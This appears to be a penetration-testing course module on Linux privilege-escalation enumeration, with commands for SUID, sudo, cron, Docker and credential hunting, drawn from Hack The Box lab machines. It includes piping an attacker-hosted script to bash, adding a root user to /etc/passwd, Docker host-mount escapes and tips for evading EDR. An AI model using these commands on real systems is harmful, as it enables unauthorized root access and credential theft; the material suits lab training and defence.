Back to All Modules

Linux Local Enumeration

#Overview

Linux local enumeration is performed after gaining initial access to a Linux host. The goal is to identify privilege escalation vectors: SUID/GUID binaries, sudo misconfigurations, writable system files, cron jobs, running services, kernel exploits, capabilities, Docker access, and credential leaks. Automated tools provide broad coverage, but manual enumeration of specific vectors is essential for a thorough assessment and for evading detection.

#Prerequisites

  • Tools: linpeas.sh, pspy (64/32), LinEnum, GTFOBins (reference), linux-exploit-suggester
  • Access Level: Shell access as any user (low-privilege or standard user)
  • File Transfer Methods: curl, wget, netcat, Python HTTP server, scp

#Detection & Enumeration

#Automated Enumeration Tools

linpeas.sh (Primary Tool)

# Download and execute from attacker machine via HTTP
# Attacker: sudo python3 -m http.server 3000
curl http://10.10.14.41:3000/linpeas.sh | bash

# Download first, then execute (less network traffic)
wget http://10.10.14.41:3000/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh | tee /tmp/linpeas_output.txt

# Key linpeas sections to review:
# - "Interesting Files" (SUID/GUID, writable files)
# - "Sudo Version" and sudo rules
# - "Software Information" (installed packages)
# - "Processes, Cron, Services, Timers"
# - "Container" (Docker, LXC)
# - "Active Ports" (internal services)
BASH

pspy (Unprivileged Process Monitor)

# Monitor processes without root (shows cron jobs, scheduled tasks, services)
# Download appropriate binary (pspy64 for 64-bit, pspy32 for 32-bit)
wget http://10.10.14.41:3000/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64

# Key patterns to watch:
# - Commands run as root that reference user-writable files
# - Cron jobs and their execution paths
# - Hidden internal services starting/stopping
BASH

#Manual Enumeration Commands

SUID/SGID Binary Search

# Find all SUID binaries (owned by root, execute as root)
find / -type f -perm -4000 2>/dev/null
find / -type f -perm -u=s 2>/dev/null

# Find all SGID binaries
find / -type f -perm -2000 2>/dev/null

# Find all SUID and SGID (both)
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null

# Key SUID binaries to investigate (check GTFOBins):
#  /usr/bin/doas       -- alternative to sudo
#  /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
#  /usr/bin/pkexec     -- Polkit (CVE-2021-4034)
#  Any custom SUID binary in non-standard location
BASH

Capabilities

# List all capabilities on the system
getcap -r / 2>/dev/null

# Dangerous capabilities to look for:
# cap_setuid           -- can change UID to root
# cap_chown            -- can change file ownership
# cap_dac_read_search   -- can read any file (bypass DAC)
# cap_dac_override      -- can bypass file permissions
# cap_sys_admin         -- broad admin capabilities
# cap_sys_ptrace        -- can ptrace any process
# cap_net_raw           -- raw sockets
BASH

Sudo Privileges

# Check sudo rights for current user
sudo -l

# Check sudo version (for known vulnerabilities)
sudo --version

# Key sudo misconfigurations:
# (ALL) NOPASSWD: ALL          -- full root access
# (root) NOPASSWD: /usr/sbin/nginx   -- can load custom nginx config as root
# (ALL : ALL) NOPASSWD: /usr/bin/dstat  -- can run dstat with plugins
# (root) SETENV: ...           -- can preserve environment (LD_PRELOAD)

# Always check GTFOBins for sudo binary exploitation paths:
# https://gtfobins.github.io/

# If sudo allows EDITOR/VISUAL env vars:
sudo EDITOR=vim -u /root/.bashrc ...
BASH

writable System Files

# Check if /etc/passwd is writable
ls -la /etc/passwd
# If writable: add a new root user
# echo "hacker:$1$salt$hash:0:0:root:/root:/bin/bash" >> /etc/passwd

# Check if /etc/shadow is writable
ls -la /etc/shadow
# If writable: replace root hash or create new user

# Check for world-writable files
find / -type f -perm -o+w 2>/dev/null | grep -v '/proc\|/sys\|/dev'

# Check home directories for SSH keys
find /home -name id_rsa* 2>/dev/null
find /home -name authorized_keys 2>/dev/null
find /root -name id_rsa* 2>/dev/null
BASH

Cron Jobs

# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/

# Systemd timers (modern alternative to cron)
systemctl list-timers --all
systemctl list-timers

# Check if cron job scripts are writable
find /etc/cron* -type f -writable 2>/dev/null

# Common cron job privilege escalation:
# - Cron script is world-writable
# - Cron script references binaries without absolute path
# - Cron PATH includes world-writable directories
BASH

Running Processes and Internal Services

# List all processes (with command lines)
ps aux
ps auxwww  # full command lines (no truncation)

# List listening ports (ss is modern replacement for netstat)
ss -tlnp   # TCP listening
ss -ulnp   # UDP listening
ss -tlnpu  # Both TCP and UDP
netstat -tlnp  # Alternative (older systems)

# Internal services that may not be externally exposed:
#  127.0.0.1:3306   -- local MySQL/MariaDB
#  127.0.0.1:3000   -- development servers
#  127.0.0.1:8080   -- internal web apps
#  127.0.0.1:6379   -- Redis (check for auth bypass)
#  127.0.0.1:27017  -- MongoDB

# Check for interesting processes
ps aux | grep -i 'mysql\|mongo\|redis\|docker\|apache\|nginx\|tomcat\|jenkins'
BASH

Kernel Version and Exploit Suggestion

# Get kernel version
uname -a
cat /proc/version
cat /etc/os-release
cat /etc/lsb-release

# linux-exploit-suggester (locally on attacker machine or target)
./linux-exploit-suggester.sh
./les.sh

# Check for known vulnerable kernel versions
searchsploit linux kernel <version>
BASH

Docker Enumeration

# Check if we're in a Docker container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv

# Check Docker group membership
id
groups

# If in docker group:
docker ps                # list running containers
docker images            # list available images
docker run -v /:/host -it ubuntu chroot /host bash  # mount host filesystem

# Check Docker socket access
ls -la /var/run/docker.sock
# If writable by current user:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host

# Check Docker version
docker --version
# Older versions may have known container escape CVEs
BASH

Credential Hunting

# Search for passwords in common config files
grep -r "password" /var/www/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null | grep -v "^#"
grep -r "DB_PASS\|DB_PASSWORD\|db_password" /var/www/ 2>/dev/null

# Web config files to check
cat /var/www/html/*/conf/conf.php 2>/dev/null
cat /var/www/html/*/wp-config.php 2>/dev/null
cat /var/www/html/*/.env 2>/dev/null
find /var/www -name "*.conf" -o -name "*.config" 2>/dev/null

# Bash history
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null

# Check /etc/passwd for users with shells
cat /etc/passwd | grep -v nologin | grep -v false
BASH

#Common Pitfalls

  • find / -perm -4000 2>/dev/null is noisy and slow. Narrow the scope with specific directories first: /usr/bin, /usr/lib, /usr/local/bin.
  • Not checking GTFOBins for SUID and sudo binaries. A seemingly harmless binary like systemctl, journalctl, find, or less with SUID can lead directly to root.
  • Using ps aux without www to see full command lines. Arguments beyond the truncated width may reveal sensitive credentials (e.g., mysql -u root -p'password').
  • Ignoring internal services on localhost. Many databases and development servers listen on 127.0.0.1 only and are not caught by external port scans.
  • Missing writable cron scripts. If a cron job runs a script from a user-writable directory, replacing that script with a reverse shell provides root.
  • Downloading linpeas and running it without chmod +x first.
  • Running linpeas without redirecting output to a file -- the output is long and terminal scroll-back may not capture it.

#OPSEC Considerations

  • linpeas.sh generates thousands of filesystem access operations (stat, read, open). This level of activity from a single process is anomalous and triggers EDR/auditd alerts on monitored systems.
  • find / -perm -4000 traverses the entire filesystem and generates a large volume of stat syscalls. Modern EDR solutions (Falco, auditd rules) flag recursive filesystem scans.
  • ps aux and ss -tlnp are normal system utilities and blend in with legitimate admin activity. They are the stealthiest enumeration options.
  • Reading /etc/shadow triggers audit events even if it fails (permission denied). Attempting to read protected files is logged.
  • Docker socket access is a well-known privilege escalation path and should be monitored. Accessing the Docker socket from a non-authorized user is a clear compromise indicator.
  • Bash history inspection is completely passive and generates no additional audit events (you are reading an existing file that the user's shell already reads).
  • Running linpeas with | bash directly from curl downloads and executes in one step, which is flagged by many security products (curl-to-bash pattern). Downloading to disk first and executing locally is slightly stealthier but still suspicious.
  • Internal port scanning from a compromised host (checking localhost services) is a strong IOC, especially if followed by connection attempts to those services.

#Post-Exploitation Value

  • SUID exploitation and sudo misconfigurations are the most common Linux privilege escalation paths.
  • Credentials found in web configuration files (conf.php, .env) often provide SSH access or lateral movement credentials.
  • Cron jobs are prime targets for persistence and privilege escalation.
  • Internal database services accessible via localhost may contain sensitive data or credentials for other hosts.
  • Docker group membership or Docker socket access provides a near-certain path to root.
  • Kernel exploits remain viable on unpatched systems and Linux Exploit Suggester provides targeted recommendations.

#Cross-References

#Tool References

ToolDescriptionLink
linpeas.shComprehensive Linux privilege escalation enumeratorhttps://github.com/peass-ng/PEASS-ng
pspyUnprivileged process monitor (cron jobs, services)https://github.com/DominicBreuker/pspy
LinEnumOlder Linux enumeration scripthttps://github.com/rebootuser/LinEnum
GTFOBinsCurated list of Unix binaries for breaking out of restricted shellshttps://gtfobins.github.io/
linux-exploit-suggesterKernel exploit suggestion toolhttps://github.com/mzet-/linux-exploit-suggester
linux-exploit-suggester-2Next-gen kernel exploit suggesterhttps://github.com/jondonas/linux-exploit-suggester-2

#Source Machines

  • BoardLight (Easy, Linux) -- linpeas reveals SUID enlightenment binaries (CVE-2022-37706), privilege escalation to root
  • Broker (Easy, Linux) -- sudo -l reveals nginx config loading as root, custom config with root user + DAV PUT writes SSH key
  • Soccer (Easy, Linux) -- find / -perm -4000 discovers doas (alternative to sudo) with dstat plugin exploitation